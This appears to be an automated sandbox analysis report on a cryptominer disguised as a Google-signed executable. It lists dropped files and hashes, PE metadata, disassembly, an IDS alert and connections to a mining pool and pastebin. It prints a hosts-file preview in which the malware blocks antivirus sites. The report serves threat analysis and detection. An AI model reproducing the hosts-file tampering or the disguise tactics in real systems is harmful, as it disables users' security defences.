                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lkifkuij.mkj.ps1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vt1sx3ne.rbx.psm1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):64
                                                              Entropy (8bit):0.34726597513537405
                                                              Encrypted:false
                                                              SSDEEP:3:Nlll:Nll
                                                              MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                              SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                              SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                              SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                              Malicious:false
                                                              Preview:@...e...........................................................

                                                              C:\Windows\System32\drivers\etc\hosts

                                                              Download File
                                                              Process:C:\Users\user\Desktop\frik.exe
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):935
                                                              Entropy (8bit):4.748708890934076
                                                              Encrypted:false
                                                              SSDEEP:24:QWDZh+ragzMZfuMMs1L/JU5fFCkK8T1rTtR:vDZhyoZWM9rU5fFcG
                                                              MD5:BAF573F5B1C377B9D10ECC51CE0C0BFB
                                                              SHA1:63199BFF9169ACA2303535EBA4AA6410D28C6AB3
                                                              SHA-256:8EDB59CE85F326F243B3957C6F85F0764453A47075BC863A88BFAD63B6F9526E
                                                              SHA-512:EA544CC1FE15A46C5DABE9CD845D2F2AE50AB6EB14EE6B676F5249D3D5F6E7D946934204693723749DE2D0A2B8AB8F4EB71AD63B51F8A81AA9E32683C664AB8B
                                                              Malicious:true
                                                              Preview:# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 https://www.drweb.ru/..0.0.0.0 https://www.kaspersky.ru/downloads/free-virus-removal-tool

                                                              C:\Windows\Temp\__PSScriptPolicyTest_2442rqz3.12g.psm1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Windows\Temp\__PSScriptPolicyTest_gws4peny.bo3.ps1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Windows\Temp\__PSScriptPolicyTest_n0uexf0a.etd.ps1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Windows\Temp\__PSScriptPolicyTest_rczyricw.nek.psm1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Windows\Temp\lhaqmlexwhjs.sys

                                                              Download File
                                                              Process:C:\ProgramData\Chrome.exe
                                                              File Type:PE32+ executable (native) x86-64, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):14544
                                                              Entropy (8bit):6.2660301556221185
                                                              Encrypted:false
                                                              SSDEEP:192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
                                                              MD5:0C0195C48B6B8582FA6F6373032118DA
                                                              SHA1:D25340AE8E92A6D29F599FEF426A2BC1B5217299
                                                              SHA-256:11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
                                                              SHA-512:AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
                                                              Malicious:true
                                                              Antivirus:
                                                              • Antivirus: ReversingLabs, Detection: 5%
                                                              Joe Sandbox View:
                                                              • Filename: Google Chrome.exe, Detection: malicious, Browse
                                                              • Filename: e7WMhx18XN.exe, Detection: malicious, Browse
                                                              • Filename: GcqJPBLD2Q.exe, Detection: malicious, Browse
                                                              • Filename: C5Lg2JSPlD.exe, Detection: malicious, Browse
                                                              • Filename: TwrhjEKqxk.exe, Detection: malicious, Browse
                                                              • Filename: aA45th2ixY.exe, Detection: malicious, Browse
                                                              • Filename: 1mqzOM6eok.exe, Detection: malicious, Browse
                                                              • Filename: updater.exe, Detection: malicious, Browse
                                                              • Filename: 7QiAmg58Jk.exe, Detection: malicious, Browse
                                                              • Filename: LnK0dS8jcA.exe, Detection: malicious, Browse
                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

                                                              Static File Info

                                                              General

                                                              File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                              Entropy (8bit):6.538032311597454
                                                              TrID:
                                                              • Win64 Executable GUI (202006/5) 92.65%
                                                              • Win64 Executable (generic) (12005/4) 5.51%
                                                              • Generic Win/DOS Executable (2004/3) 0.92%
                                                              • DOS Executable Generic (2002/1) 0.92%
                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                              File name:frik.exe
                                                              File size:5'288'736 bytes
                                                              MD5:1a67a432e7ab0bcd2189f3f4142f2ae4
                                                              SHA1:168307b08e5c7a740d7dfcaa4be93e02f80e3fb9
                                                              SHA256:d19e4b7894fe7e6190d942c5718bb61b95b0ffd7380cb056891508ca6d163432
                                                              SHA512:f849ea7ba3bd6865935065d542247a9256c0ccc669f9f57639e44c374c4aa3b03ff4a33f956f6027cb5aa97069ec5b9eb943c1d57034cc7d9821f52f44ffde9b
                                                              SSDEEP:98304:yGp6tj9L5rremSnrC7ag91f3dOuyUPpSJawwSDJiRRiy5CevO+OGLUA:J6N96ut9xwUPpSDwMiRsKhhpX
                                                              TLSH:F43623081A8D2BB8CA22A5BAE747473C7771385A4FFCC77B1A72A314D85D9450F128ED
                                                              File Content Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...!O.g.........."...........O.....@..........@..............................Q...........`........................................

                                                              File Icon

                                                              Icon Hash:0f71c94cccc94127

                                                              Static PE Info

                                                              General

                                                              Entrypoint:0x140001140
                                                              Entrypoint Section:.text
                                                              Digitally signed:true
                                                              Imagebase:0x140000000
                                                              Subsystem:windows gui
                                                              Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                              DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                              Time Stamp:0x67014F21 [Sat Oct 5 14:37:21 2024 UTC]
                                                              TLS Callbacks:0x40001760, 0x1, 0x400017e0, 0x1
                                                              CLR (.Net) Version:
                                                              OS Version Major:6
                                                              OS Version Minor:0
                                                              File Version Major:6
                                                              File Version Minor:0
                                                              Subsystem Version Major:6
                                                              Subsystem Version Minor:0
                                                              Import Hash:b237ac2118704db9e7609540658f5790

                                                              Authenticode Signature

                                                              Signature Valid:false
                                                              Signature Issuer:CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
                                                              Signature Validation Error:The digital signature of the object did not verify
                                                              Error Number:-2146869232
                                                              Not Before, Not After
                                                              • 02/07/2021 02:00:00 11/07/2024 01:59:59
                                                              Subject Chain
                                                              • CN=Google LLC, O=Google LLC, L=Mountain View, S=California, C=US
                                                              Version:3
                                                              Thumbprint MD5:DC429A22AA63D23DB8E84F53D05D1D48
                                                              Thumbprint SHA-1:2673EA6CC23BEFFDA49AC715B121544098A1284C
                                                              Thumbprint SHA-256:7D3D117664F121E592EF897973EF9C159150E3D736326E9CD2755F71E0FEBC0C
                                                              Serial:0E4418E2DEDE36DD2974C3443AFB5CE5

                                                              Entrypoint Preview

                                                              Instruction
                                                              dec eax
                                                              sub esp, 28h
                                                              dec eax
                                                              mov eax, dword ptr [00009ED5h]
                                                              mov dword ptr [eax], 00000001h
                                                              call 00007FA8F450782Fh
                                                              nop
                                                              nop
                                                              nop
                                                              dec eax
                                                              add esp, 28h
                                                              ret
                                                              nop
                                                              inc ecx
                                                              push edi
                                                              inc ecx
                                                              push esi
                                                              push esi
                                                              push edi
                                                              push ebx
                                                              dec eax
                                                              sub esp, 20h
                                                              dec eax
                                                              mov eax, dword ptr [00000030h]
                                                              dec eax
                                                              mov edi, dword ptr [eax+08h]
                                                              dec eax
                                                              mov esi, dword ptr [00009EC9h]
                                                              xor eax, eax
                                                              dec eax
                                                              cmpxchg dword ptr [esi], edi
                                                              sete bl
                                                              je 00007FA8F4507850h
                                                              dec eax
                                                              cmp edi, eax
                                                              je 00007FA8F450784Bh
                                                              dec esp
                                                              mov esi, dword ptr [0000C069h]
                                                              nop word ptr [eax+eax+00000000h]
                                                              mov ecx, 000003E8h
                                                              inc ecx
                                                              call esi
                                                              xor eax, eax
                                                              dec eax
                                                              cmpxchg dword ptr [esi], edi
                                                              sete bl
                                                              je 00007FA8F4507827h
                                                              dec eax
                                                              cmp edi, eax
                                                              jne 00007FA8F4507809h
                                                              dec eax
                                                              mov edi, dword ptr [00009E90h]
                                                              mov eax, dword ptr [edi]
                                                              cmp eax, 01h
                                                              jne 00007FA8F450782Eh
                                                              mov ecx, 0000001Fh
                                                              call 00007FA8F4510E74h
                                                              jmp 00007FA8F4507849h
                                                              cmp dword ptr [edi], 00000000h
                                                              je 00007FA8F450782Bh
                                                              mov byte ptr [00505EA1h], 00000001h
                                                              jmp 00007FA8F450783Bh
                                                              mov dword ptr [edi], 00000001h
                                                              dec eax
                                                              mov ecx, dword ptr [00009E7Ah]
                                                              dec eax
                                                              mov edx, dword ptr [00009E7Bh]
                                                              call 00007FA8F4510E6Bh
                                                              mov eax, dword ptr [edi]
                                                              cmp eax, 01h
                                                              jne 00007FA8F450783Bh
                                                              dec eax
                                                              mov ecx, dword ptr [00009E50h]

                                                              Data Directories

                                                              NameVirtual AddressVirtual Size Is in Section
                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0xcef80x3c.rdata
                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0x50c0000x2998.rsrc
                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x5090000x198.pdata
                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x508a000x2920
                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x50f0000x78.reloc
                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_TLS0xb0a00x28.rdata
                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xb4100x138.rdata
                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_IAT0xd0b00x178.rdata
                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                              Sections

                                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                              .text0x10000x99e60x9a0018ea98e043781649c5e40e36f7e59a58False0.4973112824675325data6.187988859688841IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                              .rdata0xb0000x26ec0x28007741c945d6810f9f0d5ac22bb714f40cFalse0.46845703125data4.738600014859421IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                              .data0xe0000x4fa8d80x4f9200da18f37e811c79e8b9b9e35ca566f7b2unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                              .pdata0x5090000x1980x200be25f3d88bed4cd89b3657aa175053e1False0.52734375data3.284447415380932IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                              .00cfg0x50a0000x100x200b18c7380298e104adf73576fa46bccc1False0.04296875data0.15127132530476972IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                              .tls0x50b0000x100x200bf619eac0cdf3f68d496ea9344137e8bFalse0.02734375data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                              .rsrc0x50c0000x29980x2a0048752d62bc8826541e7ac1b2d03f1ff6False0.33444940476190477data5.44412702926787IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                              .reloc0x50f0000x780x200d0a4a9fad386be30953d639fb66c111aFalse0.23046875data1.433770014287425IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                              Resources

                                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                                              RT_ICON0x50c0f00x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishUnited States0.32863070539419087
                                                              RT_GROUP_ICON0x50e6980x14dataEnglishUnited States1.15
                                                              RT_VERSION0x50e6b00x2e8dataEnglishUnited States0.46102150537634407

                                                              Imports

                                                              DLLImport
                                                              msvcrt.dll__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strcat, strcpy, strlen, strncmp, strstr, vfprintf, wcscat, wcscpy, wcslen, wcsncmp, wcsstr
                                                              KERNEL32.dllDeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

                                                              Possible Origin

                                                              Language of compilation systemCountry where language is spokenMap
                                                              EnglishUnited States

                                                              Network Behavior

                                                              Suricata IDS Alerts

                                                              TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                              2024-10-08T14:02:31.502980+02002036289ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)2192.168.2.10626081.1.1.153UDP

                                                              Network Port Distribution

                                                              TCP Packets

                                                              TimestampSource PortDest PortSource IPDest IP
                                                              Oct 8, 2024 14:02:31.513806105 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:02:31.513864040 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:02:31.513930082 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:02:31.514219999 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:02:31.514234066 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:02:32.169783115 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:02:32.171374083 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:02:32.171397924 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:02:32.172806978 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:02:32.172878027 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:02:32.174417019 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:02:32.174491882 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:02:32.226820946 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:02:32.226854086 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:02:32.273663998 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:02:32.475708008 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:02:32.523650885 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:02:32.631876945 CEST49785443192.168.2.10104.20.3.235
                                                              Oct 8, 2024 14:02:32.631899118 CEST44349785104.20.3.235192.168.2.10
                                                              Oct 8, 2024 14:02:32.632301092 CEST49785443192.168.2.10104.20.3.235
                                                              Oct 8, 2024 14:02:32.646872997 CEST49785443192.168.2.10104.20.3.235
                                                              Oct 8, 2024 14:02:32.646910906 CEST44349785104.20.3.235192.168.2.10
                                                              Oct 8, 2024 14:02:33.115190029 CEST44349785104.20.3.235192.168.2.10
                                                              Oct 8, 2024 14:02:33.122733116 CEST49785443192.168.2.10104.20.3.235
                                                              Oct 8, 2024 14:02:33.122744083 CEST44349785104.20.3.235192.168.2.10
                                                              Oct 8, 2024 14:02:33.124676943 CEST44349785104.20.3.235192.168.2.10
                                                              Oct 8, 2024 14:02:33.124789000 CEST49785443192.168.2.10104.20.3.235
                                                              Oct 8, 2024 14:02:33.138613939 CEST49785443192.168.2.10104.20.3.235
                                                              Oct 8, 2024 14:02:33.138766050 CEST44349785104.20.3.235192.168.2.10
                                                              Oct 8, 2024 14:02:33.138864040 CEST49785443192.168.2.10104.20.3.235
                                                              Oct 8, 2024 14:02:33.138874054 CEST44349785104.20.3.235192.168.2.10
                                                              Oct 8, 2024 14:02:33.186440945 CEST49785443192.168.2.10104.20.3.235
                                                              Oct 8, 2024 14:02:38.134080887 CEST49785443192.168.2.10104.20.3.235
                                                              Oct 8, 2024 14:02:38.134080887 CEST49785443192.168.2.10104.20.3.235
                                                              Oct 8, 2024 14:02:38.134819031 CEST44349785104.20.3.235192.168.2.10
                                                              Oct 8, 2024 14:02:38.134917974 CEST49785443192.168.2.10104.20.3.235
                                                              Oct 8, 2024 14:02:44.031260967 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:02:44.148782015 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:03:06.129018068 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:03:06.242319107 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:03:28.169517994 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:03:28.211050987 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:03:50.145172119 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:03:50.195359945 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:04:01.108203888 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:04:01.151412964 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:04:12.159230947 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:04:12.212052107 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:04:14.842698097 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:04:14.898411989 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:04:36.090508938 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:04:36.132776976 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:04:58.391777039 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:04:58.445269108 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:05:21.033500910 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:05:21.085812092 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:05:42.158499956 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:05:42.210983992 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:05:57.348938942 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:05:57.395430088 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:05:57.569047928 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:05:57.617117882 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:06:04.137304068 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:06:04.179677963 CEST49778443192.168.2.1095.179.241.203
                                                              Oct 8, 2024 14:06:26.157780886 CEST4434977895.179.241.203192.168.2.10
                                                              Oct 8, 2024 14:06:26.210732937 CEST49778443192.168.2.1095.179.241.203

                                                              UDP Packets

                                                              TimestampSource PortDest PortSource IPDest IP
                                                              Oct 8, 2024 14:02:31.502979994 CEST6260853192.168.2.101.1.1.1
                                                              Oct 8, 2024 14:02:31.510307074 CEST53626081.1.1.1192.168.2.10
                                                              Oct 8, 2024 14:02:32.624233961 CEST5039953192.168.2.101.1.1.1
                                                              Oct 8, 2024 14:02:32.631040096 CEST53503991.1.1.1192.168.2.10

                                                              DNS Queries

                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                              Oct 8, 2024 14:02:31.502979994 CEST192.168.2.101.1.1.10x3663Standard query (0)pool.hashvault.proA (IP address)IN (0x0001)false
                                                              Oct 8, 2024 14:02:32.624233961 CEST192.168.2.101.1.1.10x9f3Standard query (0)pastebin.comA (IP address)IN (0x0001)false

                                                              DNS Answers

                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                              Oct 8, 2024 14:02:17.333101034 CEST1.1.1.1192.168.2.100xa6bcNo error (0)shed.dual-low.s-part-0017.t-0009.t-msedge.nets-part-0017.t-0009.t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                                              Oct 8, 2024 14:02:17.333101034 CEST1.1.1.1192.168.2.100xa6bcNo error (0)s-part-0017.t-0009.t-msedge.net13.107.246.45A (IP address)IN (0x0001)false
                                                              Oct 8, 2024 14:02:31.510307074 CEST1.1.1.1192.168.2.100x3663No error (0)pool.hashvault.pro95.179.241.203A (IP address)IN (0x0001)false
                                                              Oct 8, 2024 14:02:31.510307074 CEST1.1.1.1192.168.2.100x3663No error (0)pool.hashvault.pro45.76.89.70A (IP address)IN (0x0001)false
                                                              Oct 8, 2024 14:02:32.631040096 CEST1.1.1.1192.168.2.100x9f3No error (0)pastebin.com104.20.3.235A (IP address)IN (0x0001)false
                                                              Oct 8, 2024 14:02:32.631040096 CEST1.1.1.1192.168.2.100x9f3No error (0)pastebin.com104.20.4.235A (IP address)IN (0x0001)false
                                                              Oct 8, 2024 14:02:32.631040096 CEST1.1.1.1192.168.2.100x9f3No error (0)pastebin.com172.67.19.24A (IP address)IN (0x0001)false

                                                              HTTP Request Dependency Graph

                                                              • pastebin.com

                                                              HTTPS Proxied Packets

                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              0192.168.2.104977895.179.241.2034437432C:\Windows\explorer.exe
                                                              TimestampBytes transferredDirectionData
